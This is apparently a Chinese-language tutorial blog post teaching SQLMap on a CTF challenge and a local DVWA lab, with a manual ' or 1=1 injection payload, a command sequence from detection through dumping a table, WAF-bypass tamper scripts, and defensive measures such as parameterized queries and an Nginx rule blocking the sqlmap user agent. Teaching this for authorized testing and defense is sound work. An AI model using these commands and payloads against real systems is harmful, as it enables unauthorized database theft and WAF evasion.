⚠️ 警告: SQLMap 是自动化渗透测试工具,仅限本地离线靶场测试,未经授权扫描目标属于违法行为。
写在前面:为什么还要学 SQLMap
现在很多 WAF 很强,自动化工具容易被拦。那为什么还要学 SQLMap?
我的观点:
- 理解原理: 看 SQLMap 的日志,你能清楚看到它是如何构造 Payload 的,比手动拼更快上手。
- 效率工具: 在授权测试中,它能帮你快速排查大量参数,节省时间。
- 防御视角: 知道攻击者怎么用,你才知道怎么防。
三年前,我协助处理过一次数据泄露。攻击者就是用 SQLMap 扫出了一个隐藏的测试接口,拖走了整个用户表。如果当时我们做了正确的参数化查询,这场事故本可以避免。
这篇文章把 SQLMap 的核心用法讲透,让你既能用得好,也能防得住。
在进行攻防世界测试的时候遇到了这个题目:inget

请输入id,尝试绕过

尝试手动注入绕过:
# 可以拿到flag
http://61.147.171.35:52065/?id=' or 1=1 --+

尝试使用sqlmap获取更多的信息:比如数据库名称、表名、字段、数据等
1、核心命令参数详解
SQLMap 参数非常多,新手容易晕。我整理了最常用的 20% 参数,覆盖 80% 的场景。
1.1 目标指定(Target)
|------------|---------------|--------------------------------------|
| 参数 | 说明 | 示例 |
| -u | 指定目标 URL | -u "http://target.com?id=1" |
| -r | 从文件加载 HTTP 请求 | -r request.txt (用于 POST/复杂 header) |
| --data | POST 数据 | --data "id=1&Submit=Submit" |
| --cookie | 指定 Cookie | --cookie "PHPSESSID=abc123" |
1.2 注入检测(Injection)
|---------------|---------|----------------------------------------|
| 参数 | 说明 | 示例 |
| -p | 指定测试参数 | -p id (只测 id 参数,节省时间) |
| --dbms | 指定数据库类型 | --dbms mysql (跳过指纹识别,加速) |
| --technique | 指定注入技术 | --technique=BET (Boolean/Error/Time) |
1.3 数据枚举(Enumeration)
|----------------|----------|-----------------|
| 参数 | 说明 | 示例 |
| --current-db | 获取当前数据库名 | 必用 |
| --dbs | 获取所有数据库名 | 权限足够时使用 |
| --tables | 获取表名 | 需配合 -D 指定库 |
| --columns | 获取列名 | 需配合 -T 指定表 |
| --dump | 导出数据 | 需配合 -T 或 -C |
| --count | 仅统计行数 | 快速判断数据量 |
1.4 其他常用
|-------------|------------|-----------------------------------|
| 参数 | 说明 | 示例 |
| --batch | 自动选择默认选项 | 必用(否则每个问题都要手动确认) |
| --threads | 多线程 | --threads 5 (加速,但易被 WAF 封) |
| --tamper | 绕过脚本 | --tamper=space2comment (绕过空格过滤) |
| -v | verbose 级别 | -v 3 (显示详细请求包,调试用) |
二、实战演示:从检测到拖库
环境是kali操作系统,kaili操作系统官网镜像下载:Get Kali | Kali Linux
2.1 第一步:检测注入点
命令:
sqlmap -u "http://61.147.171.35:52065/?id=1" --batch
说明:
-u:目标 URL。--batch:自动确认所有提示,避免交互中断。
预期输出:
SQLMap 会尝试多种 Payload。

图片内容: 终端显示 SQLMap 检测过程。
目的: 证明注入点检测成功。
2.2 第二步:获取当前数据库名
命令:
sqlmap -u "http://61.147.171.35:52065/?id=1" --batch --current-db --batch
预期输出:
显示数据库名,cyber。

拍摄内容: 终端显示 current database: 'cyber'。
目的: 证明成功获取数据库名称。
2.3 第三步:获取所有表名
命令:
sqlmap -u "http://61.147.171.35:52065/?id=1" -D cyber --tables --batch
说明:
-D cyber:指定操作 cyber数据库。--tables:列出该库下的所有表。

图片内容: 终端显示表列表。
目的: 证明成功获取表结构信息。
2.4 第四步:获取字段名
命令:
sqlmap -u "http://61.147.171.35:52065/?id=1" -D cyber -T cyber --columns --batch
说明:
-T users:指定操作cyber表。--columns:列出该表下的所有字段。

拍摄内容: 终端显示字段列表。
目的: 证明成功获取字段结构。
2.5 第五步:导出数据(拖库)
命令:
sqlmap -u "http://61.147.171.35:52065/?id=1" -D cyber -T cyber --dump --batch
说明:
--dump:导出指定表的所有数据。- 文件保存位置:/root/.local/share/sqlmap/output/61.147.171.35/dump/cyber/cyber.csv

拍摄内容: 终端显示导出的用户数据表格。
目的: 证明成功获取数据,展示危害性。
三、进阶用法:POST 请求与 WAF 绕过
3.1 处理 POST 请求
启动本地dvwa靶站,靶站如何搭建请看前面sql注入的文章
# 启动靶站
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
# 登陆靶站并把难度调成 Security Level: medium

SQL Injection 模块是 GET 请求,但实际项目中多是 POST。
方法: 使用 Burp Suite 抓包保存为 request.txt。
request.txt 内容示例:
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.6.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://192.168.6.100:8080
Connection: close
Referer: http://192.168.6.100:8080/vulnerabilities/sqli/
Cookie: language=zh_CN; welcomebanner_status=dismiss; cookieconsent_status=dismiss; PHPSESSID=mgumnb2vbkcoakvlta6op7s1k1; security=medium
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
id=1&Submit=Submit
命令:
sqlmap -r request.txt -p id --batch
说明: -p id 指定只测试 id 参数,避免测试 Submit 按钮浪费时。

图片内容: SQLMap 使用 -r 参数运行的截图。
目的: 展示如何处理 POST 请求和复杂 Header。
3.2 绕过简单过滤(Tamper 脚本)
如果目标过滤了空格或关键词,可以使用 --tamper。
常见脚本:
|-----------------|---------------|--------|
| 脚本名 | 作用 | 场景 |
| space2comment | 空格转注释 | 过滤空格 |
| between | AND 转 BETWEEN | 过滤 AND |
| charencode | URL 编码 | 过滤特殊字符 |
| randomcase | 随机大小写 | 过滤关键字 |
命令示例:
sqlmap.py -u "URL" --tamper=space2comment --batch
⚠️ 注意: 不要一次性加载所有 tamper 脚本,会极大降低速度。按需选择。
四、防御方案:如何防住 SQLMap
作为开发者,了解攻击工具是为了更好地防御。
4.1 代码层防御(根本)
参数化查询: SQLMap 主要利用字符串拼接。使用预编译可免疫绝大多数攻击。
# ✅ 安全
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
4.2 WAF 拦截
配置 Web 应用防火墙,识别 SQLMap 的特征。
|----------------|-------------------------------------------|
| 特征 | 说明 |
| User-Agent | SQLMap 默认 UA 包含 sqlmap/ |
| 请求频率 | 高频请求同一参数 |
| Payload 特征 | 包含 AND 1=1, UNION SELECT, SLEEP() 等 |
Nginx 配置示例:
# 拦截 SQLMap 默认 UA
if ($http_user_agent ~* "sqlmap") {
return 403;
}
4.3 最小权限原则
数据库账号不要给 root 权限。即使被注入,也无法 DROP TABLE 或读取系统文件。
五、常见问题 Q&A
Q:为什么 SQLMap 跑不动,一直卡在「testing connection」?
A:
- 网络不通(检查 Docker 网络)。
- 目标有 WAF 拦截(尝试降低
--level或使用--tamper)。 - 会话过期(Cookie 失效,重新抓包更新
request.txt)。
Q:--level 和 --risk 是什么?
A:
--level(1-5):测试复杂度。越高测试的 Cookie/UA 越多,越慢。默认 1。--risk(1-3): Payload 风险。越高越可能破坏数据(如测试 OR 注入)。默认 1。- 建议: 生产环境授权测试前,先用低级别测试。
Q:SQLMap 能测 NoSQL 注入吗?
A:不能。SQLMap 主要针对关系型数据库(MySQL, PostgreSQL, Oracle 等)。NoSQL 需用其他工具。
Q:如何清理测试痕迹?
A:SQLMap 会在本地 ~/.local/share/sqlmap/output/ 保存日志和会话。测试完成后建议清理。
rm -rf ~/.local/share/sqlmap/output/target.com
六、自查清单
部署系统前,可用 SQLMap 自测(仅限授权):
- 所有输入参数是否都用 SQLMap 跑过?
- 是否检测到任何注入点?
- 如果检测到,是否已修复并复测确认无效?
- WAF 是否成功拦截了 SQLMap 扫描?
- 数据库账号权限是否最小化?
- 错误信息是否屏蔽了数据库细节?
总结
SQLMap 是神器,但不是万能药。
核心要点:
- 自动化能提高效率,但不能替代人工分析。
- 理解 Payload 原理比会敲命令更重要。
- 防御的根本在于代码规范,不在于 WAF。
- 法律红线不能碰,未经授权严禁扫描。
建议把在本地搭建靶站 DVWA 中的 SQL Injection 模块用 SQLMap 完整跑一遍,熟悉每个参数的输出含义。然后回头看自己的代码,想想如果别人用 SQLMap 扫你的系统,能扫出什么。
关注收藏持续更新,帮助新手快速入门网络安全;
免责声明: 本文所有内容仅供学习与授权测试使用。使用 SQLMap 对未经授权的目标进行扫描、攻击属于违法行为,请务必在法律允许范围内进行安全研究。